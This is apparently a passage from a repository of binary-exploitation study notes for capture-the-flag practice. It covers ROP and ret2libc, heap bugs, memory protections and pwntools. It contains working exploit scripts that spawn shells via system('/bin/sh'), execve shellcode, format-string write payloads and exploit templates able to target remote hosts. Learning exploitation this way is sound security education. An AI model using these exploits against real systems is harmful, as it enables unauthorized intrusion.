range(0, 4)]) 207 | adjust = ADJUST 208 | 209 | for byte in range(0, max_write): 210 | current_byte = (bytes[byte] - adjust) if (bytes[byte] - adjust >= 0) else (bytes[byte] - adjust) + WRAP 211 | payload += f'%{current_byte}c%{start_byte + byte}$hhn'.encode() 212 | adjust = bytes[byte] 213 | 214 | return payload 215 | ``` 216 | 217 | -------------------------------------------------------------------------------- /Binary Exploitation/HeapExploits/HeapExploits.md: -------------------------------------------------------------------------------- 1 | # Heap Exploits 2 | 3 | Heap exploitation classifies a diverse range of attacks against heap implementations themselves as well as interactions with data stored on the heap. Fundamentally however heap exploitation centers around being able to modify chunks (data) on the heap 'arbitrarily'. Three main vulnerability classes give rise to this behavior: 4 | 5 | + Use After Free 6 | + Double Free 7 | + Overflows 8 | 9 | which in turn form the basis for a swath of heap exploitation strategies. 10 | 11 | ## Use After Free (UAF) 12 | 13 | UAF vulnerabilities are probably the most common form of heap vulnerabilities due to their 'prevalence' in large code bases. They refer to a situation where a pointer to a heap chunk, generally from `malloc`, is freed and then reused later. This reuse at a later point could happen thousands of lines later or in another file even where the pointer is passed around. 14 | 15 | -------------------------------------------------------------------------------- /Binary Exploitation/README.md: -------------------------------------------------------------------------------- 1 | # Binary Exploitation Sheets 2 | 3 | ## Overflows 4 | 5 | ### ‣ [Buffer Overflows](./BufferOverflows/BufferOverflows.md) 6 | 7 | ## Heap 8 | 9 | ### ‣ [Heap](./HeapExploits/HeapExploits.md) 10 | 11 | ## ROP 12 | 13 | ### ‣ [Return Oriented Programming (ROP)](./ROP/ROP.md) 14 | 15 | ## Format Strings 16 | 17 | ### ‣ [Overview](./FormatStrings/FormatStrings.md#overview) 18 | 19 | ### ‣ [Format Specifiers](./FormatStrings/FormatStrings.md#layout-of-format-specifier-flags) 20 | 21 | ### ‣ [Dumping The Stack](./FormatStrings/FormatStrings.md#dumping-the-stack) 22 | 23 | ### ‣ [Leaking Addresses](./FormatStrings/FormatStrings.md#dumping-the-stack) 24 | 25 | ### ‣ [Writing Values](./FormatStrings/FormatStrings.md#writing-values-in-dynamic-ecosystems) 26 | 27 | ## Reverse Engineering 28 | 29 | ### ‣ [Overview](./Reversing/Reversing.md#overview) 30 | 31 | ### ‣ [Static Reversing](./Reversing/Reversing.md#static-reversing) 32 | 33 | ## Theory 34 | 35 | ### ‣ [Binary Timelines](./Theory/BinaryTimelines.md) 36 | 37 | ### ‣ [Memory Protections](./Theory/MemoryProtections.md) 38 | 39 | ### ‣ [Shellcoding](./Theory/Shellcoding.md) 40 | 41 | ## Tooling 42 | 43 | ### ‣ [Pwntools](./Tooling/Tooling.md#exploit-writing) 44 | 45 | ### ‣ [Decompilers & Dissemblers](./Tooling/Tooling.md#decompilers-and-disassemblers) 46 | 47 | ### ‣ [Debuggers](./Tooling/Tooling.md#debuggers) -------------------------------------------------------------------------------- /Binary Exploitation/ROP/ROP.md: -------------------------------------------------------------------------------- 1 | # Return Oriented Programming (ROP) 2 | 3 | Return Oriented programming or ROP is the binary exploiters ultimate example of living off the land. Compilers are *complex* and imperfect. When they take in source code and translate it into a complete machine readable package, a binary, they leave behind **extra** instructions along side those **needed** to carry out the programs operations. An attacker can harness these instructions or 'gadgets' placing them into a chain to complete near arbitrary goals. 4 | 5 | 6 | 7 | ## Ret2libc 8 | 9 | + Ret2libc refers to the tactic of crafting a overflow exploit in the face of [mitigations](../Theory/MemoryProtections.md), namely NX, that prevent execution on the stack by 'living off the land' 10 | + In this case living off the land refers to utilizing strings and functions which exist within standard C libraries 11 | + But wait, why do we have access to so much of the standard C libraries even though our program only uses a small subset of these ? 12 | 13 | ### Shared Libraries 14 | 15 | + A shared library is a library that is used by a program but is not statically bound to it at compellation time (that is a static library) 16 | + This means that the library that the program wishes too use is loaded into its address space (virtual memory) at runtime (aka when it is selected by the scheduler) 17 | + This is done as an optimization to reduce memory usage and paging/swapping frequency 18 | + You may [recall](https://devsheets.cybernetic.coffee/os/virtual-memory/) that in a virtual memory environment many programs can reference the same physical page where shared libraries are stored 19 | 20 | + The addresses of shared libraries, including libc of course, can be obtained with `ldd` 21 | 22 | `ldd ` 23 | 24 | + So now we have the address where libc starts, but what can we actually do with this ? 25 | + First lets talk about where we will return 26 | 27 | 28 | #### Useful Functions 29 | 30 | + libc contains a plethora of functions we could return to 31 | + Normally a shell is the ultimate goal 32 | + At some point I will extend this list but for now I will just talk about **system** 33 | 34 | **shell/process** 35 | 36 | + `system("/bin/sh")` 37 | 38 | **Retrieving the functions address** 39 | 40 | + We can use gdb to print the address of our desired function in libc with 41 | 42 | `pwndbg> p ` 43 | 44 | + If we simply overwrite the return pointer with this address however, nothing useful will happen 45 | + Why? 46 | 47 | #### Imitating The Call Stack 48 | 49 | + The issue is that the operating system, or perhaps more accurately the CPU, expects the call stack to appear in a certain way and order 50 | + To understand this lets look at what the disassembly for a call to `system("/bin/bash")` looks like 51 | 52 | **disassembly** 53 | 54 | ![Disassembly Call Stack System](https://user-images.githubusercontent.com/44337835/120813811-9a9f6800-c591-11eb-8af4-8944559ca2df.png) 55 | 56 | + We see that the compiled code moves the string "/bin/bash" stored at 0x2004 onto the stack just before calling system 57 | 58 | ![Pushing Bin Bash String to Stack](https://user-images.githubusercontent.com/44337835/120814468-3f21aa00-c592-11eb-91be-3d06e1407a46.png) 59 | 60 | + Without this the program would not be able to execute the system function call with the `"/bin/bash"` argument 61 | 62 | **Debugging Trace** 63 | 64 | ![System Call Stack](https://user-images.githubusercontent.com/44337835/120811787-b4d84680-c58f-11eb-8856-98529e388b89.png) 65 | 66 | + Therefore to make our return to `system` work we must imitate this call stack 67 | + Note for a simple case like this were we wish to return a shell, essentially a function that should never return, we ignore imitating the moving of the functions (`system`) return address to the stack 68 | + We have control of the stack so it is possible for us to overwrite memory addresses on the stack with our own 69 | + But how can we make our `"/bin/sh"` string appear on the stack just before our call to `system`? 70 | 71 | #### Finding a Useful Reference 72 | 73 | + When talking about a reference we refer to a useful string that we may incorporate into our system call 74 | + Such strings are like 75 | + `"/bin/sh"` 76 | + `"/bin/bash"` 77 | + `"/bin/zsh"` 78 | + `"/bin/fish"` 79 | + There are a few ways to get such references 80 | + Environment variables 81 | + Existing Stack Address 82 | + libc 83 | + We hope to find a reference to such strings in libc as it is the most reliable of the methods 84 | + To do so we can use strings with a grep pipe 85 | 86 | `strings strings -a -t x /lib/ | grep "/bin/sh"` 87 | 88 | + This should return an address in hex which we can add to the start of libcs address range in its address space 89 | + The starting address of libc in the processes memory can be obtained with gdb as follows 90 | 91 | `pwndbg> info proc map` 92 | 93 | + Taking the first address for libc to appear in the list as the address 94 | + Confirm that this reference does indeed lead to the reference with 95 | 96 | `pwndbg> x/s + ` 97 | 98 | + Now lets look at how we inject this payload into the running binary 99 | 100 | ##### Writing The Exploit With Pwntools 101 | 102 | + Implementing the above approaches we obtain an exploit script similar to the following 103 | + Note replace all `<...>` with appropriate values from above 104 | 105 | ```python 106 | 107 | from pwn import * 108 | 109 | ## Assumes x86-32 110 | 111 | proc_s = process('./') # <-- Replace with your binary 112 | 113 | padding = b'' 114 | system_address = p32(<0xsystem-address>) 115 | eax_system = b'AAAA' # <-- Dummy Function Return Pointer 116 | bin_reference = p32(<0xlibc-offset-reference>) # <-- libc address of reference 117 | 118 | payload = padding + system_address + eax_system + bin_reference 119 | 120 | # <-- Insert recvlines() as needed --> 121 | proc_s.sendline(payload) 122 | proc_s.interactive() 123 | 124 | ``` 125 | 126 | ##### Automating The Process 127 | 128 | + In the above way we used a variety of tools and methods to determine locations of reference strings, function calls and offsets 129 | + While this is useful because it helps us understand each step, pwntools can do **alot** of this for us 130 | + Note finding the address of libc on a remote system can be harder, here we assume remote is the same 131 | as our local libc 132 | 133 | 134 | ```python 135 | from pwn import * 136 | 137 | proc_s = process('./') 138 | 139 | padding = b'' # <-- overflow to just before return pointer 140 | 141 | libc = ELF('libc-2.27.so') # <-- path to libc (remote (provided locally)/local) 142 | 143 | p.recvlines() # <-- receive any banner messages 144 | 145 | system_address = p32() # <-- could be any address in libc, just need an offset 146 | eax_system = b'AAAA' # <-- Dummy Function Return Pointer 147 | 148 | libc.address = system_address - libc.symbols['system'] # <-- Base of libc 149 | 150 | bin_sh = p32(libc.search('/bin/sh').next()) 151 | 152 | 153 | payload = padding + system_address + eax_system + bin_sh 154 | 155 | p.sendline(payload) 156 | p.interactive() 157 | 158 | ``` -------------------------------------------------------------------------------- /Binary Exploitation/Reversing/Reversing.md: -------------------------------------------------------------------------------- 1 | # Reversing 2 | 3 | Reversing is the process of taking something (not necessarily a program), in its completed or built state, and attempting to make sense of its inner workings. Reversing forms the backbone for a lot of other topics in security and software and thus a good understanding of reversing strategies goes along way. 4 | 5 | ## Static Reversing 6 | 7 | ### Dumping Binaries 8 | 9 | + Before cracking open a disassembler like cutter, binja or r2 it can be useful to dump some of the binary contents using simple command line tools 10 | 11 | #### Listing Strings 12 | 13 | + Its always a good idea to see what printable strings a compiled program contains 14 | 15 | `strings ` 16 | 17 | + For a less cluttered view of strings likely added by the programmer use r2's cli tools 18 | 19 | `rabin2 -z split` 20 | 21 | #### Listing Functions 22 | 23 | + All binary functions can be listed with objdump 24 | 25 | `objdump -t ` 26 | 27 | + Defined functions with interesting symbols can be listed using `nm` or r2s cli tool `rabin2` 28 | 29 | `rabin2 -qs ret2win32 | grep -ve imp -e ' 0 '` 30 | 31 | ### Decompiling and Disassembly 32 | 33 | * For more on specific tooling for disassembly and decompilers see [tooling](Ref) 34 | 35 | #### Variables 36 | 37 | * In the case of many decompilers variables will be identified relative to the base pointer and identified with a syntax similar to 38 | * `var_c6` 39 | * This means that the variable is hex `0xc6` bytes away from the ebp 40 | * We can use this fact to also determine how far away another variable on the stack is from the given one 41 | * For example if a variable is `var_6` and another is `var_8` then they would be `0x8 - 0x6 = 2` bytes apart from each other 42 | * Another use of this hexadecimal reference notation is that we can also statically calculate offsets required to overflow / reach the return pointer -------------------------------------------------------------------------------- /Binary Exploitation/Theory/BinaryTimelines.md: -------------------------------------------------------------------------------- 1 | # The life and Death Of Binaries 2 | 3 | A binary is a packet of compiled code which can be executed on some machine platform that can understand its machine code instructions, typically an operating system. While a binary may be considered 'free standing' meaning it can execute with intended functionality without the need to install additional items other than the binary itself it will typically depend on certain well defined mechanisms being in place like operating system syscalls and dynamic libraries. But how does this compiled goodness come to be? 4 | 5 | 6 | ## Birth 7 | 8 | + In the beginning there was my terrible C code, fashioned out of the raw elements of various stack overflow posts, github repos and a scuffed understanding of linux man pages 9 | + But everything changed when the compiler attacked ... 10 | 11 | ### Compilation 12 | 13 | + TODO -------------------------------------------------------------------------------- /Binary Exploitation/Theory/MemoryProtections.md: -------------------------------------------------------------------------------- 1 | # Binary Memory Protections 2 | 3 | As memory corruption vulnerabilities and binary exploitation became more and more common compiler and operating system engineers began inventing inbuilt protection schemes to reduce the harm cause by poor programming choices. Ever since there has been a constant battle between attackers sidestepping protections and patchers trying to add new mitigation's to make vulnerabilities more difficult to exploit. 4 | 5 | 6 | ## Address Space Layout Randomization (ASLR) 7 | 8 | * ASLR is a kernel level protection enabled by default on most modern operating systems 9 | * ASLR is not a protection implemented by the compiler 10 | * ASLR works with a ASLR slide which is a random offset that shifts key areas of process address space by that amount 11 | * Regions of interest that are shifted include: 12 | * The stack 13 | * The executables base 14 | * Libraries (libc) 15 | * The heap 16 | * The implication of ASLR for binary exploitation is that it typically makes the process of jumping from an overflown return pointer to somewhere else in the binary such as attacker shellcode or libc a task of guesswork as the start of these regions shift randomly 17 | * On 32 bit systems the chances of guessing a desired place to return are significantly better than 64 bit systems 18 | * Under certain conditions the probability of guessing a correct address particularly on the stack are greatly increased 19 | * See [circumventing ASLR](#) 20 | 21 | ## Stack Canaries 22 | 23 | * A stack canary or stack cookie can manifest in two ways 24 | * Firstly as a custom implementation by the programmer and secondly as a protection implemented by the compiler 25 | * In both cases the stack canary sits just before (4 bytes 32bit 8 bytes 64bit) each functions return pointer in this way if an attacker attempts to overflow up to the return pointer with arbitrary padding the value of the canary will be damaged causing a function which checks for the integrity of the stack canary before the return to exit early thus avoiding the return to a potentially dangerous area in memory 26 | * Custom implementations can often be trivially avoided by leaking the value off the stack or in the case of a hardcoded value be trivially discovered through decompolation of the binary 27 | * Official compiler based stack canaries like the ones gcc implements are more difficult to negate, an attacker can either attempt to brute force / guess the cookie value, which is feasible in 32 bit ecosystems, or leak the cookie value using another vulnerability such as a format string 28 | * See [circumventing stack canaries](#) 29 | 30 | ## Non-Executable stack (NX) 31 | 32 | * The NX or NoExecute bit is a compiler level protection that makes the stack region of a processes address space non executable 33 | * This mitigation makes it difficult for an attacker to execute shellcode placed onto the stack even with control of the return pointer 34 | * See [circumventing NX](#) 35 | 36 | ## Relocation Read-Only (RELRO) 37 | 38 | * RELRO is another compiler level protection scheme which makes certain regions of a processes address space read only 39 | * In this way it is quite similar to NX on steroids 40 | * RELRO has to modes 41 | * Full RELRO makes anything that can be read-only read-only including the GOT table 42 | * Partial RELRO makes a few things read only such as the stack but still allows writes to places like the GOT 43 | * See [circumventing RELRO](#) 44 | 45 | ## Position Independent Executable (PIE) 46 | 47 | * PIE is a yet another compiler level protection scheme but unlike the others it is tied to the presence of ASLR, without ASLR pie is automatically disabled 48 | * Similarly to ASLR the addresses of many things in the processes address space a shifted by some offset but unlike ASLR which maintains a stable ordering of regions PIE allows for regions to appear in any order relative to each other 49 | * It is important however to note that items within The same region will maintain the safe offset to each other per execution 50 | * PIE had very similar goals to ASLR but is almost certainly more difficult to circumvent ordinarily due to the property that regions can appear in completely different order each time the process executes 51 | * For an attacker the goal is to be able to leak some address while the process is executing that will provide the necessary context to calculate offsets to useful memory segments within the leaked region 52 | * See [Circumventing PIE](#) -------------------------------------------------------------------------------- /Binary Exploitation/Theory/Shellcoding.md: -------------------------------------------------------------------------------- 1 | # Shellcoding 2 | 3 | > Shellcoding is the process of writing x86 assembly instructions to achieve a desired goal, commonly executing a shell or reading a file. 4 | 5 | ## Samples 6 | 7 | ### `/bin/sh` 8 | 9 | ```python 10 | shellcode = asm(''' 11 | xor eax, eax 12 | push eax 13 | 14 | push 0x68732f2f 15 | push 0x6e69622f 16 | 17 | mov ebx, esp 18 | push eax 19 | 20 | push ebx 21 | mov ecx, esp 22 | mov al, 0xb 23 | 24 | int 0x80 25 | ''') 26 | ``` 27 | 28 | 29 | ### `read('flag.txt')` 30 | 31 | ```python 32 | # OPEN A FILE (flag.txt) 33 | # PRINT FIRST 10 bytes 34 | # CLOSE FILE 35 | shellcode = asm(''' 36 | mov eax, SYS_open 37 | 38 | push 0x0 39 | push 0x7478742e 40 | push 0x67616c66 41 | 42 | mov ebx, esp 43 | mov ecx, O_RDONLY 44 | int 0x80 45 | 46 | mov edi, eax 47 | 48 | mov eax, SYS_read 49 | mov ebx, edi 50 | mov ecx, esi 51 | mov edx, 0xa 52 | int 0x80 53 | 54 | mov eax, SYS_write 55 | mov ebx, 0x1 56 | mov edx, 0xa 57 | 58 | mov ecx, esi 59 | int 0x80 60 | ''') 61 | ``` 62 | 63 | ### `read(fd)` 64 | 65 | ```python 66 | # read a hanging/open file descriptor 67 | 68 | shellcode += asm(''' 69 | xor ebx, ebx 70 | 71 | mov eax, SYS_read 72 | mov ebx, 0x3e8 73 | mov ecx, esp 74 | mov edx, 0xbe 75 | int 0x80 76 | 77 | mov eax, SYS_write 78 | mov ebx, 0x1 79 | mov edx, 0xbe 80 | mov ecx, esp 81 | int 0x80 82 | ''') 83 | ``` 84 | -------------------------------------------------------------------------------- /Binary Exploitation/Tooling/PwntoolsCheatsheet.md: -------------------------------------------------------------------------------- 1 | # pwntools Cheatsheet 2 | 3 | ## Overview 4 | 5 | ```python 6 | from pwn import * 7 | ``` 8 | 9 | ## [Template Script](./Templates/pwn.py) 10 | 11 | ```python 12 | 13 | # Switches 14 | from re import S 15 | import sys 16 | 17 | # pwn 18 | from pwn import * 19 | 20 | 21 | # ::::::::::::::::::::::::: CONFIG ::::::::::::::::::::::::: 22 | PATH = 'Chals' 23 | BINARY = '' 24 | HOST = ':' 25 | # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 26 | 27 | def pwn(switch): 28 | 29 | if (switch == '-r'): 30 | host = HOST.split(':') 31 | proc = remote(host[0], int(host[1])) 32 | 33 | elif (switch == '-ld'): 34 | binary = f'./{PATH}/{BINARY}' 35 | proc = process(binary) 36 | gdb.attach(proc) 37 | # pause() 38 | else: 39 | binary = f'./{PATH}/{BINARY}' 40 | proc = process(binary) 41 | 42 | ## get da banner 43 | print(proc.recvline()) 44 | 45 | 46 | 47 | if __name__ == "__main__": 48 | 49 | if (len(sys.argv) < 2 or len(sys.argv) > 2): 50 | print(f''' 51 | 52 | 53 | __ 54 | \ \ _ ____ ___ __ 55 | \ \ | '_ \ \ /\ / / '_ \ 56 | / / | |_) \ V V /| | | | 57 | /_/ | .__/ \_/\_/ |_| |_| 58 | |_| 59 | 60 | usage :: python3 {sys.argv[0]} [options] 61 | 62 | :::::::::::::::::: [options] :::::::::::::::::: 63 | 64 | -l, --local run against local binary 65 | -ld, --local-debug run debugger with binary 66 | -r, --remote run against remote binary 67 | 68 | ''') 69 | exit(0) 70 | else: 71 | pwn(sys.argv[1]) 72 | 73 | ``` 74 | 75 | ## Common Tasks 76 | 77 | ### Making Connections 78 | 79 | ```python 80 | # local 81 | # proc = process('./') 82 | proc = process('./challenge1') 83 | 84 | # remote 85 | # proc = remote('domain.com', port) 86 | proc = remote('hackme.com', 2048) 87 | ``` 88 | 89 | ### Passing Banners 90 | 91 | ```python 92 | # proc.recvuntil('some string/pattern') 93 | proc.recvuntil('welcome to the challenge, please enter a name: ') 94 | ``` 95 | 96 | ### Sending data 97 | 98 | ```python 99 | # proc.sendline(payload) 100 | proc.sendline(b'A' * 42) 101 | ``` 102 | 103 | ### Catching Shells 104 | 105 | ```python 106 | proc.interactive() 107 | ``` 108 | 109 | ### Finding Offsets 110 | 111 | ```python 112 | test_buffer_len = 42 113 | test_offset = cyclic(test_buffer_len) 114 | # >> test_offset = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaaka' 115 | 116 | # the byte sequence that overwrote the return pointer 117 | eip_overwritten_bytes = b'aaah' 118 | offset = cyclic_find(eip_overwritten_bytes) 119 | # >> offset = 25 120 | ``` 121 | 122 | ### Packing Addresses 123 | 124 | ```python 125 | 126 | # p32(0xaddress) 127 | return_ptr = p32(0x08048536) 128 | ``` 129 | 130 | ### Unpacking Addresses 131 | 132 | ```python 133 | # u32(b'byte-sequence') 134 | str_bytes = u32(b'abcd') 135 | ``` 136 | 137 | ### Setting Context 138 | 139 | Sometimes it is necessary to set the context from a given exploit script so that address functions take the context into consideration. This is particularly useful when the remote host operates on different hardware to the exploit developers. 140 | 141 | ```python 142 | context.arch = 'amd64' 143 | context.arch = 'amd64' 144 | context.arch = 'i386' 145 | ``` 146 | 147 | ### Shellcode 148 | 149 | ```python 150 | """ 151 | shellcode = asm(''' 152 | x86 instructions 153 | ''') 154 | """ 155 | 156 | shellcode += asm(''' 157 | xor ebx, ebx 158 | 159 | mov eax, SYS_read 160 | mov ebx, 0x3e8 161 | mov ecx, esp 162 | mov edx, 0xbe 163 | int 0x80 164 | 165 | mov eax, SYS_write 166 | mov ebx, 0x1 167 | mov edx, 0xbe 168 | mov ecx, esp 169 | int 0x80 170 | ''') 171 | ``` 172 | 173 | ### ELF Hooks 174 | 175 | ```python 176 | 177 | elf_binary = ELF('./') 178 | 179 | win_addr = hex(elf_binary.symbols['win']) 180 | 181 | printf_got_addr = hex(elf_binary.got['printf']) 182 | 183 | printf_plt_addr = hex(elf_binary.plt['printf']) 184 | ``` 185 | 186 | ### Fit/Flat 187 | 188 | - Quickly build payload which automatically adjusts for specified padding length 189 | 190 | ```python 191 | # fills the length amount of bytes with garbage padding 192 | payload = fit({ 193 | 0x6c-0xc: p32(canaryValue), 194 | 0x6c: p32(elf.symbols['win']) 195 | }, length=0x6c + 4) # -> padding 196 | 197 | p.sendline(payload) # whoo 198 | p.interactive() 199 | 200 | ``` 201 | 202 | - combo it 203 | 204 | ```python 205 | payload = fit({ 206 | 0x6c-0xc: p32(canaryValue), 207 | 0x6c: p32(elf.symbols['win']) 208 | }, length=cyclic_find(b'aala')) # -> padding 209 | 210 | p.sendline(payload) 211 | p.interactive() 212 | ``` 213 | 214 | ## Logging & Debugging 215 | 216 | ### Debug mode 217 | 218 | ```shell 219 | $ python3 exploit.py DEBUG 220 | ``` 221 | 222 | ### Detailed Logs 223 | 224 | ```python 225 | context.log_level = 'debug' 226 | ``` 227 | 228 | ### Custom Logs 229 | 230 | ```python 231 | log.info(f'Win @ {win_addr}') 232 | ``` 233 | 234 | ### Logging Off 235 | 236 | ```python 237 | logging.disable() 238 | ``` 239 | 240 | ## General 241 | 242 | ### `flat` 243 | 244 | ```python 245 | payload = flat({ 246 | # pad with garbage to this offset 247 | cyclic_find('amia'): rop.chain() 248 | }) 249 | ``` 250 | 251 | **custom filler** 252 | 253 | ```python 254 | alphabet = 'bcdefhijklmnopqrstuvwyz' # cleansed alphabet 255 | 256 | payload = fit({ 257 | cyclic_find('nbbb', alphabet=bet): rop.chain() 258 | }, filler=alphabet) 259 | ``` 260 | 261 | ### `logging` 262 | 263 | ```python 264 | log.info(f"Data section @ {data_section}") 265 | log.success(f"Leaked libc system @ {libc_system_addr}") 266 | ``` 267 | 268 | ### `sections` 269 | 270 | ```python 271 | data_section = elf.symbols.data_start 272 | ``` 273 | 274 | ### `rebase` 275 | 276 | ```python 277 | libc.address = leaked_setbuf_libc - libc.symbols['setbuf'] 278 | elf.address = leaked_menu_address - elf.symbols['menu'] 279 | 280 | # now we have defeated PIE/ASLR globally 281 | ``` 282 | 283 | ### `unpacking` 284 | 285 | ```python 286 | leak_addr = u32(proc.recvline(keepends=False)[:4]) 287 | ``` 288 | 289 | ## ROP 290 | 291 | ### `raw` 292 | 293 | ```python 294 | rop = ROP(binary) 295 | 296 | rop.raw([ 297 | pop_eax_edx, 298 | 'flag', 299 | 0x0 300 | ]) 301 | 302 | ``` 303 | 304 | ### `libc.search` 305 | 306 | ```python 307 | libc = ELF('.so') 308 | 309 | # Its an iterator guys 310 | next(libc.search(b'/bin/sh')) 311 | ``` 312 | 313 | ### `call` 314 | 315 | ```python 316 | rop = ROP('.so') 317 | 318 | rop.call(libc.symbols['system'], [next(libc.search(b'/bin/sh'))]) 319 | ``` 320 | 321 | ### `function` 322 | 323 | ```python 324 | rop = ROP(binary) 325 | 326 | # call function in symbols table with args 327 | rop.some_function(arg1, arg2) 328 | ``` 329 | 330 | ## Format Strings 331 | 332 | ### `fmtstr_payload` 333 | 334 | _Note: this function often writes too much data corrupting the stack, stay tuned for a post on writing your own more reliable function._ 335 | 336 | ```python 337 | payload = fmtstr_payload(bytes_offset, {target_addr: addr_val}, numbwritten=1, write_size='byte') 338 | ``` 339 | -------------------------------------------------------------------------------- /Binary Exploitation/Tooling/Templates/.gdbinit: -------------------------------------------------------------------------------- 1 | set disassembly-flavor intel -------------------------------------------------------------------------------- /Binary Exploitation/Tooling/Templates/pwn.py: -------------------------------------------------------------------------------- 1 | # Switches 2 | from re import S 3 | import sys 4 | import argparse 5 | 6 | # pretty print 7 | import pprint 8 | pp = pprint.PrettyPrinter(indent=4) 9 | 10 | # pwn 11 | from pwn import * 12 | from pwnlib.rop import gadgets 13 | 14 | 15 | # ::::::::::::::::::::::::: CONFIG ::::::::::::::::::::::::: 16 | PATH = 'Chals' 17 | BINARY = '_binary_' 18 | HOST = '_domain_:_port_' 19 | 20 | LIBC_REMOTE = f'{PATH}/libc/libc-2.23.so' 21 | LIBC_LOCAL = '/usr/lib/i386-linux-gnu/libc-2.33.so' 22 | # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 23 | 24 | # ::::::::::::::::::::::: CHECK SEC :::::::::::::::::::::::: 25 | 26 | ''' 27 | 28 | ''' 29 | 30 | # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 31 | 32 | 33 | def pwn(args): 34 | binary = f'./{PATH}/{BINARY}' 35 | proc = process(binary) 36 | rop = ROP(binary) 37 | 38 | if (args.remote): 39 | host = HOST.split(':') 40 | proc = remote(host[0], int(host[1])) 41 | libc = ELF(LIBC_REMOTE, checksec=False) 42 | elif (args.local): 43 | libc = ELF(LIBC_LOCAL, checksec=False) 44 | if (args.debug): 45 | gdb.attach(proc) 46 | elif (args.gadgets): 47 | gadgets = rop.gadgets 48 | pp.pprint(gadgets) 49 | 50 | ## get da banner 51 | log.info('Receiving banner ...') 52 | proc.recvuntil('> ') 53 | 54 | # shellit 55 | proc.interactive() 56 | 57 | 58 | def print_banner(): 59 | print(''' 60 | __ 61 | \ \ _ ____ ___ __ 62 | \ \ | '_ \ \ /\ / / '_ \ 63 | / / | |_) \ V V /| | | | 64 | /_/ | .__/ \_/\_/ |_| |_| 65 | |_| 66 | 67 | ''') 68 | 69 | if __name__ == "__main__": 70 | 71 | parser = argparse.ArgumentParser(description=print_banner()) 72 | 73 | parser.add_argument('-l', '--local', 74 | help = 'run against local binary', 75 | action = 'store_true', 76 | ) 77 | parser.add_argument('-d', '--debug', 78 | help = 'run with debugger attached', 79 | action ='store_true' 80 | ) 81 | parser.add_argument('-r', '--remote', 82 | help = 'run against remote binary', 83 | action ='store_true' 84 | ) 85 | parser.add_argument('-g', '--gadgets', 86 | help = 'dump binary gadgets', 87 | action ='store_true' 88 | ) 89 | 90 | args = parser.parse_args() 91 | 92 | if (len(sys.argv) == 1): parser.print_help() 93 | else: pwn(args) 94 | -------------------------------------------------------------------------------- /Binary Exploitation/Tooling/Tooling.md: -------------------------------------------------------------------------------- 1 | # Tooling 2 | 3 | Tooling in modern day exploitation is crucial, as systems become increasingly complex we need a way to interpret information in useful and readable formats as well as interact with such systems in a scripted way. 4 | 5 | 6 | ## Decompilers and Disassemblers 7 | 8 | + [**Binaryninja**](https://binary.ninja/) 9 | + Probably one of the best decompiler/disassembler combinations out there in terms of the user experience and power 10 | + Free 25 minute demo or 'relatively' cheap one off purchase licence 11 | + [**IDA Pro**](https://hex-rays.com/IDA-pro/) 12 | + Arguably the most powerful decompilers on the market, affordable only to companies tho ... 13 | + [**IDA Free**](https://hex-rays.com/ida-free/) 14 | + The sadder version of IDA pro, not that good 15 | + Has a cloud version now which is okay 16 | + [**Cutter**](https://cutter.re) 17 | + A free open source decompiler/disassembler combination that most closely resembles Binaryninja 18 | + Has great potential but often falls short due to poor analysis of strings and stuff 19 | + Has quite a few [plugins](https://github.com/rizinorg/cutter-plugins) available tho 20 | 21 | ## Debuggers 22 | 23 | + [**pwndbg**](https://pwndbg.re/) 24 | + Check out my [.gdbinit](./Templates/.gdbinit) file 25 | + [**peda**](https://github.com/longld/peda) 26 | + [**GEF**](https://gef.readthedocs.io/en/master/) 27 | 28 | 29 | ## [Exploit Writing](./PwntoolsCheatsheet.md) 30 | 31 | + For a separate file of this section see [pwntools cheatsheet](./PwntoolsCheatsheet.md) 32 | 33 | ### Overview 34 | 35 | ```python 36 | from pwn import * 37 | ``` 38 | 39 | ### [Template Script](./Templates/pwn.py) 40 | 41 | ```python 42 | #!/usr/bin/python3 43 | 44 | # Switches 45 | from re import S 46 | import sys 47 | import argparse 48 | 49 | # pretty print 50 | import pprint 51 | from colorama import Fore, Style 52 | pp = pprint.PrettyPrinter(indent=4) 53 | 54 | # pwn 55 | from pwn import * 56 | from pwnlib.rop import gadgets 57 | 58 | 59 | # fmt 60 | from formatstrings.fmt_string import build 61 | 62 | 63 | # ::::::::::::::::::::::::: CONFIG ::::::::::::::::::::::::: 64 | PATH = 'Chals' 65 | BINARY = '_binary_' 66 | HOST = '_domain_:_port_' 67 | 68 | LIBC_REMOTE = f'{PATH}/libc/libc-2.23.so' 69 | LIBC_LOCAL = '/usr/lib/i386-linux-gnu/libc-2.33.so' 70 | # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 71 | 72 | # ::::::::::::::::::::::: CHECK SEC :::::::::::::::::::::::: 73 | 74 | ''' 75 | 76 | ''' 77 | 78 | # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 79 | 80 | 81 | def pwn(args): 82 | """ hack the program """ 83 | binary = f'./{PATH}/{BINARY}' 84 | proc = process(binary) 85 | rop = ROP(binary) 86 | elf = ELF(binary, False) 87 | libc = ELF(LIBC_LOCAL, checksec=False) 88 | 89 | if (args.remote): 90 | host = HOST.split(':') 91 | proc = remote(host[0], int(host[1])) 92 | try: libc = ELF(LIBC_REMOTE, checksec=False) 93 | except: libc = None 94 | if (args.debug): gdb.attach(proc) 95 | if (args.gadgets): 96 | gadgets = rop.gadgets 97 | pp.pprint(gadgets) 98 | if (args.ret2libc): rop = ROP(libc) 99 | 100 | 101 | ## get da banner 102 | log.info('Receiving banner ...') 103 | # proc.recvuntil('> ') 104 | 105 | 106 | # shellit 107 | proc.interactive() 108 | 109 | 110 | 111 | def print_banner(): 112 | print(Fore.GREEN + ''' 113 | __ 114 | \ \ _ ____ ___ __ 115 | \ \ | '_ \ \ /\ / / '_ \ 116 | / / | |_) \ V V /| | | | 117 | /_/ | .__/ \_/\_/ |_| |_| 118 | |_| 119 | 120 | ''') 121 | print(Style.RESET_ALL) 122 | 123 | 124 | if __name__ == "__main__": 125 | 126 | parser = argparse.ArgumentParser( 127 | description=print_banner(), 128 | epilog='>> happy pwning' 129 | ) 130 | 131 | parser.add_argument('-l', '--local', 132 | help = 'run against local binary, default', 133 | action = 'store_true', 134 | ) 135 | parser.add_argument('-d', '--debug', 136 | help = 'run with debugger attached', 137 | action ='store_true' 138 | ) 139 | parser.add_argument('-r', '--remote', 140 | help = 'run against remote binary', 141 | action ='store_true' 142 | ) 143 | parser.add_argument('-g', 